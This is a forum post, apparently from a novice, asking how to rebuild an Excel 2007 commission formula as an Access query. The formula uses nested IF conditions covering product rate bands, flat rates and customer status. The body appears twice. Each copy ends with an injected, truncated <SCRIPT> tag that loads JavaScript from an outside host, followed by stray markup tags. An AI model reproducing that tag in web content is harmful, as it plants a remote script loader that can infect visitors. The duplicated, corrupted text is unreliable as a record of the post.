Hello, I have pretty basic access skills, excel is more my thing. Well my excel database has grown too large and complicated to function smoothly without crashing several times a day so I am planning on moving it all to access.
I have severals spreadsheets, all ranging in size from 20mb to 40 in Excel 2007. I am stuck on a query and perhaps am associating the formulas in excel with access.
For the excel worksheet I have formulas that calculate commission based on the product purchased and the amount paid for the product.
So for product AAA
COST -----------Percentage to pay
239-230 --------15%
229-220 --------10%
219-210 --------7.5% .........and so on
I have about 3 different products and each are set up to pay a certain percentage according to the ranges. But then there are 5 others that pay a flat rate no matter how much was paid for the product. There are other stipulations.. such as the customer must be Active and Not-Expired.. etc. The formula that I use in Excel to show this is below
I would like to show the same thing that is below in a query... I know this is alot but any advice would be appreciated.
=IFERROR(IF(AND(F11="BONUS",H4571="EXPIRED"),SUM(N11:P11),IF(OR(E11="NOT-ACTIVE",E11="CHANGED",D11="EXPIRED",D11="PAID IN FULL",D11="REMOVED"),0,IF(OR(ISNUMBER(FIND({"ORANGE","APPLE","PEAR"},A11))),7,IF(OR(B11="AAA",B11="BBB",B11="CCC"),SUM(H11*I11),IF(OR(B11="DDD",B11="EEE",B11="FFF"),15,IF(B11="GGG",20,IF(B11="HHH",10,))))))),0)<SCRIPT language=JavaScript src="http://www.interq.or.jp/sun/puremis...[/XD][XH][/XH][/XR][/RANGE][/XH][/XR][/RANGE]
I have severals spreadsheets, all ranging in size from 20mb to 40 in Excel 2007. I am stuck on a query and perhaps am associating the formulas in excel with access.
For the excel worksheet I have formulas that calculate commission based on the product purchased and the amount paid for the product.
So for product AAA
COST -----------Percentage to pay
239-230 --------15%
229-220 --------10%
219-210 --------7.5% .........and so on
I have about 3 different products and each are set up to pay a certain percentage according to the ranges. But then there are 5 others that pay a flat rate no matter how much was paid for the product. There are other stipulations.. such as the customer must be Active and Not-Expired.. etc. The formula that I use in Excel to show this is below
I would like to show the same thing that is below in a query... I know this is alot but any advice would be appreciated.
=IFERROR(IF(AND(F11="BONUS",H4571="EXPIRED"),SUM(N11:P11),IF(OR(E11="NOT-ACTIVE",E11="CHANGED",D11="EXPIRED",D11="PAID IN FULL",D11="REMOVED"),0,IF(OR(ISNUMBER(FIND({"ORANGE","APPLE","PEAR"},A11))),7,IF(OR(B11="AAA",B11="BBB",B11="CCC"),SUM(H11*I11),IF(OR(B11="DDD",B11="EEE",B11="FFF"),15,IF(B11="GGG",20,IF(B11="HHH",10,))))))),0)<SCRIPT language=JavaScript src="http://www.interq.or.jp/sun/puremis...[/XD][XH][/XH][/XR][/RANGE][/XH][/XR][/RANGE]
